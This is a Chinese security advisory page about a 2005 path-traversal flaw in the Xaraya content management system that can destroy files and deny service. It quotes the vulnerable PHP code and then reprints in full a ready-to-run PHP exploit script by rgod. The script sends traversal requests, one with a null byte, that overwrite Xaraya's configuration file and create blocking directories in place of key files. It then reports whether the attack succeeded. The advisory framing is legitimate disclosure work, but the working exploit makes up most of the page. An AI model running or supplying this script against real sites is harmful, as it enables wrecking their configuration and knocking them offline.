安全研究
安全漏洞
Xaraya拒绝服务/文件破坏漏洞
发布日期：2005-11-30
更新日期：2005-11-30
受影响系统：
Xaraya Xaraya <=1.0.0 RC4描述：
Xaraya Xaraya
BUGTRAQ ID: 15623
Xaraya是一套优秀的内容管理系统。
Xaraya的fopen()中存在文件破坏漏洞，可能导致拒绝服务。xarMLSXML2PHPBackend.php中的漏洞代码如下：
...
function create($ctxType, $ctxName)
{
assert('!empty($this->baseDir)');
assert('!empty($this->baseXMLDir)');
$this->fileName = $this->baseDir;
$this->xmlFileName = $this->baseXMLDir;
if (!ereg("^[a-z]+:$", $ctxType)) {
list($prefix,$directory) = explode(':',$ctxType);
if ($directory != "") {
$this->fileName .= $directory . "/";
$this->xmlFileName .= $directory . "/";
}
}
$dirForMkDir = $this->fileName;
if (!file_exists($dirForMkDir)) xarMLS__mkdirr($dirForMkDir, 0777);
$this->fileName .= $ctxName . ".php";
$this->xmlFileName .= $ctxName . ".xml";
$xmlFileExists = false;
if (file_exists($this->xmlFileName)) {
if (!($fp1 = fopen($this->xmlFileName, "r"))) {
xarLogMessage("Could not open XML input: ".$this->xmlFileName);
}
$data = fread($fp1, filesize($this->xmlFileName));
fclose($fp1);
$xml_parser = xml_parser_create();
xml_parse_into_struct($xml_parser, $data, $vals, $index);
xml_parser_free($xml_parser);
$xmlFileExists = true;
} else {
xarLogMessage("MLS Could not find XML input: ".$this->xmlFileName);
}
$fp2 = @fopen ($this->fileName, "w" );
if ($fp2 !== false) {
fputs($fp2, '<?php'."\n");
fputs($fp2, 'global $xarML_PHPBackend_entries;'."\n");
fputs($fp2, 'global $xarML_PHPBackend_keyEntries;'."\n");
if ($xmlFileExists) {
foreach ($vals as $node) {
if (!array_key_exists('tag',$node)) continue;
if (!array_key_exists('value',$node)) $node['value'] = '';
if ($node['tag'] == 'STRING') {
$node['value'] = str_replace('\'', '\\\'', $node['value']);
$start = '$xarML_PHPBackend_entries[\''.$node['value']."']";
} elseif ($node['tag'] == 'KEY') {
$node['value'] = str_replace('\'', '\\\'', $node['value']);
$start = \
'$xarML_PHPBackend_keyEntries[\''.$node['value']."']"; } elseif ($node['tag'] == \
'TRANSLATION') { if ($this->outCharset != 'utf-8') {
$node['value'] = \
$GLOBALS['xarMLS_newEncoding']->convert($node['value'], 'utf-8', $this->outCharset, \
0); }
$node['value'] = str_replace('\'', '\\\'', $node['value']);
if (!empty($node['value'])) {
fputs($fp2, $start . " = '".$node['value']."';\n");
}
}
}
}
fputs($fp2, "?>");
fclose($fp2);
} else {
xarLogMessage("Could not create file: ".$this->fileName);
global $xarML_PHPBackend_entries;
global $xarML_PHPBackend_keyEntries;
if ($xmlFileExists) {
foreach ($vals as $node) {
if (!array_key_exists('tag',$node)) continue;
if (!array_key_exists('value',$node)) $node['value'] = '';
if ($node['tag'] == 'STRING') {
$node['value'] = str_replace('\'', '\\\'', $node['value']);
$entryIndex = $node['value'];
$entryType = 'string';
} elseif ($node['tag'] == 'KEY') {
$node['value'] = str_replace('\'', '\\\'', $node['value']);
$entryIndex = $node['value'];
$entryType = 'key';
} elseif ($node['tag'] == 'TRANSLATION') {
if ($this->outCharset != 'utf-8') {
$node['value'] = \
$GLOBALS['xarMLS_newEncoding']->convert($node['value'], 'utf-8', $this->outCharset, \
0); }
$node['value'] = str_replace('\'', '\\\'', $node['value']);
if ($entryType == 'string') {
$xarML_PHPBackend_entries[$entryIndex] = $node['value'];
} elseif ($entryType == 'key') {
$xarML_PHPBackend_keyEntries[$entryIndex] = \
$node['value']; }
}
}
}
}
return true;
}
}
?>
<*来源：rgod （rgod@autistici.org）
链接：http://marc.theaimsgroup.com/?l=bugtraq&m=113339120619644&w=2
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
# ---Xaraya_DOS.php 17.30 28/11/2005 #
# #
# Xaraya <=1.0.0 RC4 D.O.S #
# coded by rgod #
# site: http://rgod.altervista.org #
# #
# usage: launch from Apache, fill in requested fields, then go! #
# #
# Sun-Tzu: "Hold out baits to entice the enemy. Feign disorder, #
# and crush him." #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo'<html><head><title> ******** Xaraya <=1.0.0 rc4 Denial of Service *********
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
********** Xaraya <=1.0.0 rc4 Denial of Service ******** </p><p class="Stile6">a
script by rgod at <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1" method="post" action="'.strip_tags($SERVER[PHP_SELF]).'"><p><input
type="text" name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex:
/xaraya/ or just / ) </span></p></p><p> <input type="text" name="port"> <span
class="Stile5">specify a port other than 80 ( default value ) </span> </p>
<p> <input type="text" name="proxy"><span class="Stile5"> send exploit
through an HTTP proxy (ip:port)</span></p><p><input type="submit" name="Submit"
value="go!"></p></form> </td></tr></table></body></html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
//next function to send packets
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
}
else
{ $c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
if ($proxy=='')
{
$result = socket_connect($socket, $host, $port);
}
else
{
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else
{
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) { echo 'No response from '.htmlentities($host);
die; }
}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$proxy=$_POST[proxy];
if (($host<>'') and ($path<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r\n","",$host);
$path=str_replace("\r\n","",$path);
$KEYFILE=urlencode("../../../../.key.php"); //to create an empty key.php dir...
$HTACCESS=urlencode("../../../../../.htaccess"); //to create an empty .htaccess dir...
$CONFIGFILE=urlencode("../../../../config.system.php".CHR(0x00)); //overwrite configuration file with garbage
$request[0]="index.php?module=".$KEYFILE;
$request[1]="index.php?module=".$HTACCESS;
$request[2]="index.php?module=".$CONFIGFILE;
$request[3]="index.php";
for($i=0; $i<=count($request)-1; $i++)
{
$packet="GET ".$p.$request[$i]." HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Zoo Tycoon 2 Client\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
}
if (eregi('fatal error',$html)) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}
}
else
{echo "Fill * required fields, optionally specify a proxy";}
?>
# milw0rm.com [2005-11-29]
建议：
厂商补丁：
Xaraya
------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.xaraya.com/
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严重程度：0（网友投票）
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